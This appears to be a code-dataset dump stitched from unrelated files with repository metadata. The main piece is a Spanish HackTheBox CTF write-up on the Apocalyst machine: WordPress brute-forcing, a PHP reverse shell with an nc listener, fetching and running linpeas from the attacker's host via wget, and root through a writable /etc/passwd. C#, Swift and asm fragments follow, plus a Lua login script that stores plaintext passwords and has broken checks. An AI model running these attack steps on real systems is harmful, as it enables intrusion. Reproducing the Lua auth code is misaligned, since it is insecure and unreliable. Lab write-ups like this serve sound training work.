] | null | null | null | _site/Apocalyst-Writeup-HackTheBox/index.html | th4nuno/th4nuno.github.io | 8118146761b19932a12e09811835d555c3e22b06 | [
"MIT"
] | null | null | null | <!DOCTYPE html> <!--[if lt IE 7]><html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]--> <!--[if (IE 7)&!(IEMobile)]><html class="no-js lt-ie9 lt-ie8"><![endif]--> <!--[if (IE 8)&!(IEMobile)]><html class="no-js lt-ie9"><![endif]--> <!--[if gt IE 8]><!--> <html class="no-js"><!--<![endif]--> <head> <meta charset="UTF-8"> <meta content="text/html; charset=UTF-8" http-equiv="Content-Type"> <meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1"> <title>Apocalyst Writeup HackTheBox – Th4Nuno</title> <meta name="description" content="Moon is a minimal, one column jekyll theme for your blog."> <meta name="keywords" content="fuzzing, pentesting, web, cryptography, privesc"> <!-- Twitter Cards --> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:image" content="https://th4nuno.github.io/assets/img/posts/apocalyst.png"> <meta name="twitter:title" content="Apocalyst Writeup HackTheBox"> <meta name="twitter:description" content="Les traigo el writeup de una máquina de tipo CTF, la cuál tiene una intrusión bastante única y siendo de dificultad media es bastante accesible para los que están empezando en el mundo del pentesting"> <meta name="twitter:site" content="@BrunoCS_32"> <meta name="twitter:creator" content="@BrunoCS_32"> <!-- Open Graph --> <meta property="og:locale" content="en_US"> <meta property="og:type" content="article"> <meta property="og:title" content="Apocalyst Writeup HackTheBox"> <meta property="og:description" content="Les traigo el writeup de una máquina de tipo CTF, la cuál tiene una intrusión bastante única y siendo de dificultad media es bastante accesible para los que están empezando en el mundo del pentesting"> <meta property="og:url" content="https://th4nuno.github.io/Apocalyst-Writeup-HackTheBox/"> <meta property="og:site_name" content="Th4Nuno"> <meta property="og:image" content="https://th4nuno.github.io/assets/img/logo.png"> <link rel="canonical" href="https://th4nuno.github.io/Apocalyst-Writeup-HackTheBox/"> <link href="https://th4nuno.github.io/feed.xml" type="application/atom+xml" rel="alternate" title="Th4Nuno Feed"> <!-- Handheld --> <meta name="HandheldFriendly" content="True"> <meta name="MobileOptimized" content="320"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- CSS --> <link rel="stylesheet" href="https://th4nuno.github.io/assets/css/main.css"> <!-- JS --> <script src="https://th4nuno.github.io/assets/js/modernizr-3.3.1.custom.min.js"></script> <!-- Favicons --> <link rel="apple-touch-icon" href="https://th4nuno.github.io/assets/img/favicons/apple-icon-precomposed.png"> <link rel="apple-touch-icon" sizes="72x72" href="https://th4nuno.github.io/assets/img/favicons/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="https://th4nuno.github.io/assets/img/favicons/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="144x144" href="https://th4nuno.github.io/assets/img/favicons/apple-icon-144x144.png"> <link rel="shortcut icon" type="image/png" href="https://th4nuno.github.io/favicon.png" /> <link rel="shortcut icon" href="https://th4nuno.github.io/favicon.ico" /> <!-- Background Image --> <style type="text/css">body {background-image:url(https://th4nuno.github.io/assets/img/placeholder-big.jpg); background-repeat: no-repeat; background-size: cover; }</style> <!-- Post Feature Image --> <style type="text/css">.feature {background-image:url(https://th4nuno.github.io/assets/img/posts/apocalyst.png);}</style> </head> <body> <nav id="dl-menu" class="dl-menuwrapper" role="navigation"> <button class="dl-trigger">Open Menu</button> <ul class="dl-menu"> <li><a href="https://th4nuno.github.io/">Home</a></li> <li> <a href="#">About</a> <ul class="dl-submenu"> <li> <img src="https://th4nuno.github.io/assets/img/logo.png" alt="Th4Nuno photo" class="author-photo"> <h4>Th4Nuno</h4> <p>Moon is a minimal, one column jekyll theme for your blog.</p> </li> <li><a href="https://th4nuno.github.io/about/"><span class="btn btn-inverse">Learn More</span></a></li> <li> <a href="http://twitter.com/BrunoCS_32" target="_blank" rel="noopener noreferrer"><i class="fa fa-fw fa-twitter-square"></i> Twitter</a> </li> <li> <a href="http://github.com/th4nuno" target="_blank" rel="noopener noreferrer"><i class="fa fa-fw fa-github"></i> Github</a> </li> </ul><!-- /.dl-submenu --> </li> <li> <a href="#">Posts</a> <ul class="dl-submenu"> <li><a href="https://th4nuno.github.io/posts/">All Posts</a></li> <li><a href="https://th4nuno.github.io/tags/">All Tags</a></li> </ul> </li> <li><a href="https://th4nuno.github.io/projects/" >Projects</a></li> </ul><!-- /.dl-menu --> </nav><!-- /.dl-menuwrapper --> <!-- Header --> <header class="header" role="banner"> <div class="wrapper animated fadeIn"> <div class="content"> <div class="post-title feature "> <h1>Apocalyst Writeup HackTheBox</h1> <h4>22 Feb 2022</h4> <p class="reading-time"> <i class="fa fa-clock-o"></i> Reading time ~9 minutes </p><!-- /.entry-reading-time --> <a class="btn zoombtn" href="https://th4nuno.github.io/posts/"> <i class="fa fa-chevron-left"></i> </a> </div> <h1 id="reconocimiento">Reconocimiento</h1> <p>Comenzamos con esta etapa usando una herramienta de escaneo de puertos muy conocida llamada <em>nmap</em>. Primero haremos un escaneo simple para encontrar los puertos abiertos y luego buscaremos más detalle en los encontrados.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nmap -p- --open -v -T5 -sS -n -Pn 10.10.10.46 -oG allPorts</code></pre></figure> <p>Para realizar un escaneo del rango completo de puertos por TCP (0-65535) y mostrar solamente los abiertos usamos los parámetros <em>-p-</em> y <em>–open</em>. También agregamos <em>-v</em> para irnos mostrando la información que nmap encuentre. Ahora, este escaneo puede llevar mucho tiempo. Para más rapidez, como estamos en un ambiente controlado en el que podemos hacer pruebas sin ningun tipo de problema, vamos a utilizar el nivel mas rápido que trae esta herramienta, especificando el parámetro <em>-T5</em>, además de simplicar el escaneo con un SYN scan (<em>-sS</em>), sin resolución DNS (<em>-n</em>) y sin host discovery (<em>-Pn</em>). Tambien lo voy a exportar en formato grepeable para obtener los puertos de una forma rápida con <a href="https://pastebin.com/tYpwpauW">extractPorts</a>, una función en bash que tengo añadida a mi terminal.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">Host discovery disabled <span class="o">(</span>-Pn<span class="o">)</span>. All addresses will be marked <span class="s1">'up'</span> and scan <span class="nb">times </span>may be slower.
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-02-22 11:56 -03
Initiating SYN Stealth Scan at 11:56
Scanning 10.10.10.46 <span class="o">[</span>65535 ports]
Discovered open port 80/tcp on 10.10.10.46
Discovered open port 22/tcp on 10.10.10.46
SYN Stealth Scan Timing: About 37.29% <span class="k">done</span>; ETC: 11:57 <span class="o">(</span>0:00:52 remaining<span class="o">)</span>
Completed SYN Stealth Scan at 11:57, 73.13s elapsed <span class="o">(</span>65535 total ports<span class="o">)</span>
Nmap scan report <span class="k">for </span>10.10.10.46
Host is up <span class="o">(</span>0.24s latency<span class="o">)</span>.
Not shown: 65533 closed tcp ports <span class="o">(</span>reset<span class="o">)</span>
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>73.24 seconds
Raw packets sent: 69344 <span class="o">(</span>3.051MB<span class="o">)</span> | Rcvd: 69344 <span class="o">(</span>2.774MB<span class="o">)</span></code></pre></figure> <p>Nmap nos muestra que los únicos puertos que están abiertos son el 22 (SSH) y el 80 (HTTP). Ahora vamos a tomar estos puertos y realizar un escaneo para intentar obtener sus versiones y enumerar los servicios con los scripts de nmap (<em>-sCV</em>)</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nmap -sCV -p 22,80 10.10.10.46 -oN targeted</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-02-22 13:36 -03
Nmap scan report <span class="k">for </span>10.10.10.46
Host is up <span class="o">(</span>0.15s latency<span class="o">)</span>.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 <span class="o">(</span>Ubuntu Linux; protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 <span class="o">(</span>RSA<span class="o">)</span>
| 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open http Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-generator: WordPress 4.8
|_http-title: Apocalypse Preparation Blog
|_http-server-header: Apache/2.4.18 <span class="o">(</span>Ubuntu<span class="o">)</span>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>14.08 seconds</code></pre></figure> <h3 id="wordpress">Wordpress</h3> <p>Ahora que tenemos mas información, sabemos especificamente sus versiones y además, con el script de nmap <em>http-generator</em> vemos que el sitio web tiene de CMS un Wordpress. Esto lo podemos confirmar con whatweb:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">whatweb 10.10.10.46</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">http://10.10.10.46 <span class="o">[</span>200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 <span class="o">(</span>Ubuntu<span class="o">)]</span>, IP[10.10.10.46], JQuery[1.12.4], MetaGenerator[WordPress 4.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Apocalypse Preparation Blog], UncommonHeaders[link], WordPress[4.8]</code></pre></figure> <p>Como es un Wordpress usando <strong>wpscan</strong>, que es una herramienta que podés encontrar <a href="https://github.com/wpscanteam/wpscan">acá</a>, podemos escanear el sitio web en busca de algun fallo del que nos podramos aprovechar. En este caso no es de utilidad, asi que seguimos buscando.</p> <p>Si miramos la página web a través de la ip se ve bastante mal. Esto lo podemos solucionar agregando el dominio, colocando la siguiente línea en nuestro <em>/etc/hosts</em>:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">10.10.10.46 apocalyst.htb</code></pre></figure> <p>Utilizando el script <em>http-enum</em> de nmap podemos hacer fuzzing con un diccionario muy simple que trae la misma, el cual nos arroja algunos resultados:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nmap --script<span class="o">=</span>http-enum -p 80 10.10.10.46 -oN webScan</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">Nmap scan report <span class="k">for </span>10.10.10.46
Host is up <span class="o">(</span>0.15s latency<span class="o">)</span>.
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /blog/: Blog
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 4.8
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
| /readme.html: Interesting, a readme.
| /custom/: Potentially interesting folder
| /down/: Potentially interesting folder
| /good/: Potentially interesting folder
| /hidden/: Potentially interesting folder
| /idea/: Potentially interesting folder
| /info/: Potentially interesting folder
| /information/: Potentially interesting folder
| /name/: Potentially interesting folder
| /page/: Potentially interesting folder
| /personal/: Potentially interesting folder
| /pictures/: Potentially interesting folder
| /site/: Potentially interesting folder
| /state/: Potentially interesting folder
<span class="c"># Nmap done at Wed Feb 23 09:19:46 2022 -- 1 IP address (1 host up) scanned in 15.31 seconds</span></code></pre></figure> <p>Sin contar las páginas de Wordpress por defecto, la mayoría nos resuelven el mismo resultado: una simple imagen.</p> <p><img src="https://th4nuno.github.io/assets/img/posts/apocalyst/apocalyst1.png" alt="apocalyst1" /></p> <p>Esto ya parece un poco raro, vamos a seguir viendo a ver que encontramos.</p> <h3 id="fuzzing">Fuzzing</h3> <p>Haciendo fuzzing con la herramienta WFuzz (si no la conocés tengo un articulo <a href="https://th4nuno.github.io/Aprende-a-Usar-Wfuzz">acá</a> en el que te enseño cómo utilizarla) encontramos el mismo resultado reiteradas veces, la misma imagen con la misma cantidad de carácteres, lo que significa que son idénticas. Como la página web es un blog con varios artículos, vamos a hacer uso de Cewl (que viene instalada por defecto en Parrot y Kali Linux), la cuál nos permitirá crear nuestro propio diccionario en base a la url que especifiquemos:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">cewl -w wordlist.txt <span class="s2">"http://apocalyst.htb/"</span></code></pre></figure> <p>Con este comando ya habríamos creado el archivo <em>wordlist.txt</em> así que vamos a incorporarlo a WFuzz, ocultando los resultados que nos arrojen 157 carácteres que devuelven la imagen repetida:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">wfuzz -c --hc<span class="o">=</span>404 --hh<span class="o">=</span>157 -t 200 -L -u <span class="s2">"http://apocalyst.htb/FUZZ"</span> -w ../content/wordlist.txt</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: http://apocalyst.htb/FUZZ
Total requests: 532
<span class="o">=====================================================================</span>
ID Response Lines Word Chars Payload
<span class="o">=====================================================================</span>
000000455: 200 14 L 20 W 175 Ch <span class="s2">"Rightiousness"</span>
Total <span class="nb">time</span>: 0
Processed Requests: 532
Filtered Requests: 531
Requests/sec.: 0</code></pre></figure> <p>Como ven encontramos solo una página, pero lo que más nos llama la atención es que nos muestra la misma imagen que vimos anteriormente, pero con una cantidad de carácteres diferente. Esto significa que seguramente estamos ante una técnica de <strong>esteganografía</strong>.</p> <h2 id="esteganografía-en-imágenes">Esteganografía en Imágenes</h2> <p>Esta técnica de criptografía muy conocida nos permite ocultar información dentro de una imagen, pero sin que se vea a simple vista. Esto es lo que nos está pasando seguramente. Todas las imágenes son iguales menos una, que tiene un tamaño diferente (por eso nos devuelve otra cantidad diferente de carácteres). Para analizarla y comprobar si hay un archivo oculto dentro, vamos a utilizar un herramienta llamada <strong>steghide</strong>. Descargamos la imagen y utilizamos el siguiente comando.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">steghide info image.jpg</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="s2">"image.jpg"</span>:
format: jpeg
capacity: 13.0 KB
Try to get information about embedded data ? <span class="o">(</span>y/n<span class="o">)</span> y
Enter passphrase:
embedded file <span class="s2">"list.txt"</span>:
size: 3.6 KB
encrypted: rijndael-128, cbc
compressed: yes</code></pre></figure> <p>Al ejecutarlo nos pide una contraseña, pero si probamos dejándolo en blanco funciona. Nos muestra que hay un archivo list.txt contenido dentro de la imagen, el cual podemos extraer:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">steghide extract -sf image.jpg</code></pre></figure> <p>El archivo que obtenemos no es más que una simple lista de palabras, pero que podemos utilizar para intentar hacer un bruteforcing.</p> <h3 id="bruteforcing">Bruteforcing</h3> <p>Para esto tenemos que obtener un usuario válido. Esto es muy fácil, ya que si observamos cualquier artículo del sitio web como es un Wordpress nos muestra el usuario que lo creó. Este usuario se llama “falaraki”. Podemos comprobar que es un usuario válido visitando <em>wp-login.php</em>, colocando un usuario erróneo obtenemos:</p> <p><img src="https://th4nuno.github.io/assets/img/posts/apocalyst/apocalyst2.png" alt="apocalyst2" /></p> <p>Claramente nos dice que lo que está mal es el usuario. Ahora, vamos a ver qué nos muestra si probamos con falaraki:</p> <p><img src="https://th4nuno.github.io/assets/img/posts/apocalyst/apocalyst3.png" alt="apocalyst3" /></p> <p>Ahora nos dice otra cosa diferente. Esto es porque Wordpress por defecto diferencia el error de un usuario inválido al de un usuario válido con una contraseña incorrecta. Por lo tanto, vamos a probar de vuelta con <strong>wpscan</strong> pero ahora realizando un bruteforcing. Para eso vamos a utilizar el siguiente comando, habiendo guardado el usuario dentro de un archivo “user” en el mismo directorio que nuestra lista de contraseñas:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">wpscan --url http://apocalyst.htb/ -U user -P list.txt</code></pre></figure> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">[</span>+] Performing password attack on Wp Login against 1 user/s
<span class="o">[</span>SUCCESS] - falaraki / Transclisiation
Trying falaraki / total Time: 00:00:21 <<span class="o">=============================================</span> > <span class="o">(</span>335 / 821<span class="o">)</span> 40.80% ETA: ??:??:??
<span class="o">[</span>!] Valid Combinations Found:
| Username: falaraki, Password: Transclisiation</code></pre></figure> <p>Excelente! Conseguimos credenciales válidas, ahora toca la parte mas fácil, que es obtener acceso a la máquina.</p> <h3 id="explotando-el-panel-de-wordpress">Explotando el Panel de Wordpress</h3> <p><img src="https://th4nuno.github.io/assets/img/posts/apocalyst/apocalyst4.png" alt="apocalyst4" /></p> <p>Ahora que estamos dentro del panel de Wordpress, vamos a dirigirnos a <em>Appeareance->Editor</em></p> <p><img src="https://th4nuno.github.io/assets/img/posts/apocalyst/apocalyst5.png" alt="apocalyst5" /></p> <p>Dentro del editor, vamos a abrir el template <em>404.php</em> que se encuentra a la derecha. Esto nos permite modificar el código PHP del mismo, por lo tanto simplemente añadimos una reverse shell en PHP y guardamos el archivo. Solo falta ponernos en escucha con <strong>netcat</strong> e irnos a un artículo que no exista. Para ponernos en escucha por el puerto 443 ejecutamos el siguiente comando:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nc -nvlp 443</code></pre></figure> <p>Como podemos listar los artículos con <em>?p=x</em> vamos a cambiarlo a un número que no exista, como por ejemplo <em>?p=10</em> y obtenemos inmediatamente la shell.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="gp">www-data@apocalyst:/var/www/html/apocalyst.htb$ </span>whoami
whoami
www-data</code></pre></figure> <h4 id="tratamiento-de-la-tty">Tratamiento de la TTY</h4> <p>La shell que tenemos realmente no es tan cómoda, así que para solucionarlo podemos realizar una serie de pasos que siempre son los mismos en una máquina Linux, para poder obtener una shell completamente funcional.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">script /dev/null -c bash
<span class="o">(</span>Ctrl-Z<span class="o">)</span>
stty raw -echo; <span class="nb">fg
</span>reset xterm
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm
<span class="nb">export </span><span class="nv">SHELL</span><span class="o">=</span>bash</code></pre></figure> <p>Listo. Ahora podemos hacer Ctrl-C sin peligro de que se nos cierre la bash y Ctrl-L para limpiar la terminal.</p> <p>Si nos dirigimos a /home/falaraki encontramos el user.txt con la flag. Ahora toca escalar privilegios.</p> <h2 id="escalación-de-privilegios">Escalación de Privilegios</h2> <p>Vamos a descargar en la máquina <a href="https://github.com/carlospolop/PEASS-ng"><strong>linPEAS</strong></a>, una utilidad que nos permitirá realizar una gran cantidad de escaneos para encontrar fallas en el sistema. Para traerla decidí crear en mi máquina un servidor en Python en el mismo directorio que tengo el script y descargar el archivo en la shell.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">(</span>En mi máquina<span class="o">)</span>
python3 -m http.server 80
<span class="o">(</span>En la máquina víctima<span class="o">)</span>
<span class="nb">cd</span> /dev/shm
wget http://10.10.14.7/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh</code></pre></figure> <p>Como el escaneo devuelve demasiada información voy a colocar sólo un fragmento que me llamó mucho la atención:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">╔══════════╣ Permissions <span class="k">in </span>init, init.d, systemd, and rc.d
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d
═╣ Writable passwd file? ................ /etc/passwd is writable</code></pre></figure> <p>Esto muy pocas veces lo van a ver, pero cuando lo vean ya tienen asegurado el root. Como tenemos permisos para escribir en el passwd podemos acceder como el usuario que queramos. Lo pueden comprobar haciendo un <em>ls</em>:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">ls -la /etc/passwd
-rw-rw-rw- 1 root root 1649 Feb 24 12:25 /etc/passwd</code></pre></figure> <p>Por defecto los usuarios tienen una x, lo que significa que la contraseña la tomará del /etc/shadow, archivo el cuál no tenemos acceso. Por lo tanto, necesitamos cambiar esa x por un hash, porque el sistema tomará la primera contraseña que encuentre, que será la añadida.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="gp">> </span>openssl passwd
Password: toor
Verifying - Password: toor
2r5/v3qyIr5jI</code></pre></figure> <p>Cambiamos la x de root en el /etc/passwd por este hash y listo:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="gp">www-data@apocalyst:/dev/shm$ </span>su root
Password:
<span class="gp">root@apocalyst:/dev/shm# </span>whoami
root
<span class="gp">root@apocalyst:/dev/shm# </span></code></pre></figure> <div class="entry-meta"> <br> <hr> <span class="entry-tags"><a href="https://th4nuno.github.io/tags/#fuzzing" title="Pages tagged fuzzing" class="tag"><span class="term">fuzzing</span></a><a href="https://th4nuno.github.io/tags/#pentesting" title="Pages tagged pentesting" class="tag"><span class="term">pentesting</span></a><a href="https://th4nuno.github.io/tags/#web" title="Pages tagged web" class="tag"><span class="term">web</span></a><a href="https://th4nuno.github.io/tags/#cryptography" title="Pages tagged cryptography" class="tag"><span class="term">cryptography</span></a><a href="https://th4nuno.github.io/tags/#privesc" title="Pages tagged privesc" class="tag"><span class="term">privesc</span></a></span> <span class="social-share"> <a href="https://www.facebook.com/sharer/sharer.php?u=https://th4nuno.github.io/Apocalyst-Writeup-HackTheBox/" title="Share on Facebook" class="tag"> <span class="term"><i class="fa fa-facebook-square"></i> Share</span> </a> <a href="https://twitter.com/intent/tweet?text=https://th4nuno.github.io/Apocalyst-Writeup-HackTheBox/" title="Share on Twitter" class="tag"> <span class="term"><i class="fa fa-twitter-square"></i> Tweet</span> </a> <a href="https://plus.google.com/share?url=https://th4nuno.github.io/Apocalyst-Writeup-HackTheBox/" title="Share on Google+" class="tag"> <span class="term"><i class="fa fa-google-plus-square"></i> +1</span> </a> </span> <div style="clear:both"></div> </div> </div> </div> </header> <!-- JS --> <script src="https://th4nuno.github.io/assets/js/jquery-1.12.0.min.js"></script> <script src="https://th4nuno.github.io/assets/js/jquery.dlmenu.min.js"></script> <script src="https://th4nuno.github.io/assets/js/jquery.goup.min.js"></script> <script src="https://th4nuno.github.io/assets/js/jquery.magnific-popup.min.js"></script> <script src="https://th4nuno.github.io/assets/js/jquery.fitvid.min.js"></script> <script src="https://th4nuno.github.io/assets/js/scripts.js"></script> <!-- MathJax --> <script async src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script> </body> </html>
| 220.75 | 6,658 | 0.699622 |
4a854b3b3062d63710c87aa6870fa8df3e5b4995 | 204 | cs | C# | PS.Build.Nuget/Types/NugetPackageDependencyBehavior.cs | BlackGad/PS.Build.Nuget | a98d88dba7501aac073c334bed878957695da6ac | [
"MIT"
] | null | null | null | PS.Build.Nuget/Types/NugetPackageDependencyBehavior.cs | BlackGad/PS.Build.Nuget | a98d88dba7501aac073c334bed878957695da6ac | [
"MIT"
] | null | null | null | PS.Build.Nuget/Types/NugetPackageDependencyBehavior.cs | BlackGad/PS.Build.Nuget | a98d88dba7501aac073c334bed878957695da6ac | [
"MIT"
] | null | null | null | using System;
namespace PS.Build.Nuget.Types
{
[Serializable]
public enum NugetPackageDependencyBehavior
{
None,
Major,
Minor,
Patch,
Revision
}
} | 14.571429 | 46 | 0.568627 |
753bb9ca3ed21ac270c6c02b22f9877e492368df | 3,668 | lua | Lua | mods/deathmatch/resources/auth/event.lua | yourpalemir/ww3-altyapi | 81754e2c952e0c168ebf41d1bd9bdd9ffb325678 | [
"MIT"
] | null | null | null | mods/deathmatch/resources/auth/event.lua | yourpalemir/ww3-altyapi | 81754e2c952e0c168ebf41d1bd9bdd9ffb325678 | [
"MIT"
] | null | null | null | mods/deathmatch/resources/auth/event.lua | yourpalemir/ww3-altyapi | 81754e2c952e0c168ebf41d1bd9bdd9ffb325678 | [
"MIT"
] | null | null | null | local db = exports.sqlite:getConnection()
addEventHandler('onPlayerJoin',root,function()
local account_Crends = determinePlayerAccount(getPlayerSerial(source))
triggerClientEvent('redirect:server', source, account_Crends)
end)
addEvent('login:attempt',true)
addEventHandler('login:attempt',root,function(username, password)
for k, v in pairs(accounts) do
if (tostring(username) == tostring(v.username) and tostring(password) == tostring(v.password)) then
setElementData(source, 'account:username', v.username)
setElementData(source, 'adminlevel', v.admin)
setElementData(source, 'dbid', v.id)
setElementData(source, 'duty', 0)
setPlayerName(source, tostring(v.username))
triggerClientEvent('remove:render',source)
outputChatBox('[!] #FFFFFFGiriş başarılı.',source,255,0,0,true)
spawnPlayer(source,v.x,v.y,v.z)
setCameraTarget(source, source)
fadeCamera(source,true)
setElementModel(source, tonumber(v.skin))
else
outputChatBox('[!] #FFFFFFGiriş bilgilerin yanlış.',source,255,0,0,true)
return end
end
end)
addEventHandler('onPlayerQuit', root, function()
pX, pY, pZ = getElementPosition(source)
vSkin = getElementModel(source)
adminL = getElementData(source, 'adminlevel')
dbid = tonumber(getElementData(source, 'dbid'))
dbExec(db, 'UPDATE accounts SET x=?, y=?, z=?, skin=?, admin=? WHERE id=? ',pX ,pY, pZ, skin, adminL, dbid)
accounts[dbid] = {id=accounts.id, username=accounts.username, password=accounts.password, email=accounts.email, phonenumber=accounts.phonenumber, serial=accounts.serial, admin=adminL, x=pX, y=pY, z=pZ, skin=vSkin}
end)
-- oyuncunun acc sini önceden belirleyip, dakkada bi performans öldürmemek için için
function determinePlayerAccount(serial)
for key, value in pairs(accounts) do
if value.serial == serial then
return true
end
end
end
-- kayıt
addEvent('register:request', true)
addEventHandler('register:request', root, function(username, password)
local serial = getPlayerSerial(source)
if not (isAccountExists(username, password, serial)) and not (determinePlayerAccount(serial)) then
createAccount(username,password,serial)
outputChatBox('[!] #FFFFFFHesabın oluşturuldu.',source,255,0,0,true)
else
outputChatBox('[!] #FFFFFFZaten bir hesabın var.',source,255,0,0,true)
end
end)
function isAccountExists(username, password, serial)
for key, value in pairs(accounts) do
if value.username == username or value.password == password or value.serial == serial then return true end
end
end
-- data
addEventHandler('onResourceStart', resourceRoot, function()
dbQuery(queryAdd, db, 'SELECT * FROM accounts')
end)
function queryAdd(queryHandle)
results = dbPoll(queryHandle, 0)
for key, value in pairs(results) do
accounts[key] = {id=value.id, username=value.username, password=value.password, email=value.email, phonenumber=value.phonenumber, serial=value.serial, admin=value.admin, x=value.x, y=value.y, z=value.z, skin=value.skin}
end
end
function createAccount(username, password, serial)
local query = dbExec(db, 'INSERT INTO accounts(username, password, email, phonenumber, serial, admin, x, y, z, skin) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)', username, password, "undefined", "undefined", serial, 0,1480.9736328125, -1765.8916015625, 18.795755386353, 0)
if query == true then
accounts[#accounts + 1] = {id=#accounts+1, username=username, password=password, email="undefined", phonenumber="undefined", serial=serial, admin=0, x=1480.9736328125, y=-1765.8916015625, z=18.795755386353, skin=0}
end
return query
end
| 41.213483 | 267 | 0.721101 |
b6c104e1c95baaae1e6beb08389e4de7a49ac136 | 1,263 | swift | Swift | ___Ralfebert-SwiftUI-Playground/SwiftUIPlayground/Views/ContactFormView.swift | luannguyen252/my-swift-journey | 788d66f256358dc5aefa2f3093ef74fd572e83b3 | [
"MIT"
] | 14 | 2020-12-09T08:53:39.000Z | 2021-12-07T09:15:44.000Z | ___Ralfebert-SwiftUI-Playground/SwiftUIPlayground/Views/ContactFormView.swift | luannguyen252/my-swift-journey | 788d66f256358dc5aefa2f3093ef74fd572e83b3 | [
"MIT"
] | null | null | null | ___Ralfebert-SwiftUI-Playground/SwiftUIPlayground/Views/ContactFormView.swift | luannguyen252/my-swift-journey | 788d66f256358dc5aefa2f3093ef74fd572e83b3 | [
"MIT"
] | 8 | 2020-12-10T05:59:26.000Z | 2022-01-03T07:49:21.000Z | // SwiftUIPlayground
// https://github.com/ralfebert/SwiftUIPlayground/
import SwiftUI
struct Contact: Identifiable {
var id = UUID()
var name: String
var subscribed: Bool
var birthday: Date
static let alice = Contact(name: "Alice", subscribed: false, birthday: Date(year: 1970, month: 7, day: 8))
static let bob = Contact(name: "Bob", subscribed: true, birthday: Date(year: 1980, month: 3, day: 4))
}
struct ContactFormView: View {
@State var contact = Contact.bob
var body: some View {
Form {
Section(header: Text("Personal information")) {
HStack {
Text("Name")
TextField("Username", text: $contact.name)
.multilineTextAlignment(.trailing)
}
Toggle(isOn: $contact.subscribed) {
Text("Subscribed")
}
DatePicker(selection: $contact.birthday, label: { Text("Birthday") })
}
PickerExampleView()
}
.navigationBarTitle("Contact")
}
}
struct ContactFormView_Previews: PreviewProvider {
static var previews: some View {
NavigationView {
ContactFormView()
}
}
}
| 25.26 | 110 | 0.56057 |
7fe267bb7c6eff3062ca8391add7fbe4f2d1bde6 | 750 | asm | Assembly | 45/beef/cw/kernel/mousedat.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/beef/cw/kernel/mousedat.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
